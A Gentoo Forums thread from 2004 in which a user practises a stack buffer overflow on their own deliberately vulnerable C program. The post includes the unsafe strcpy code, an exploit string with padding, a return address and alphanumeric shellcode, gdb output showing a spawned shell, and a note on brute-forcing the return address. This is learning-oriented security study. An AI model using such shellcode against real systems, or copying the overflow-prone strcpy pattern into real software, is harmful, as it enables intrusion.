Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
my exploit only works in a gdb environment
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Networking & Security
View previous topic :: View next topic  
Author Message
cgibreak
n00b
n00b


Joined: 12 Oct 2003
Posts: 20

PostPosted: Sat Apr 03, 2004 1:57 am    Post subject: my exploit only works in a gdb environment Reply with quote

I made a simple little program to see if i could exploit it with a buffer overflow:

Code:

#include <stdio.h>

int main(int argc, char **argv)
{
        char buf[16];
        strcpy(buf, argv[1]); // kinda obvious :D
        printf("%s\n", buf);
}


I eventually got a working exploit string for this:
Code:

// padding to get up to the return address
"hhhhhhhhhhhhhhhhhhhhhhhhhhhh"

// changed return addr
"\xf0\xf4\xff\xbf"
// sexy   looking shellcode i found on the net
// (object of return address)
"LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5E"
"CfPDVUajcX0Dob0TodjdY0LohfhmNfXf1Dol0topjYY0Loq0"
"toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabi"
"vERSvT29"


i can get this to work in gdb:
Code:

(gdb) run $'<snip>'
Starting program: /home/cgibreak/programming/hackme/hackme $'<snip>'
<snip>
sh-2.05b$

:twisted:

Anyways, my problem is when i run it on the commandline. It
just segfaults. Is this a stack-randomization thing that is
disabled in gdb? What could be causing this?

thanks

EDIT:
Looked at propolice, even more confused.
[url]http://www.usenix.org/events/sec01/full_papers/frantzen/frantzen_html/node30.html[\url]
It says that it places a random "canary" in between the buffer
and the return address. That would explain why i had to go
through extra bytes to get to the return address, but what
really freaks me out is that even when i use -fno-stack-protector
the same string still works in gdb!
Back to top
View user's profile Send private message
cgibreak
n00b
n00b


Joined: 12 Oct 2003
Posts: 20

PostPosted: Sat Apr 03, 2004 7:01 pm    Post subject: Reply with quote

i got it to work by making a shell script that would increment the last byte of the return address for each time it ran the program
kinda inelegent though.
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Networking & Security All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum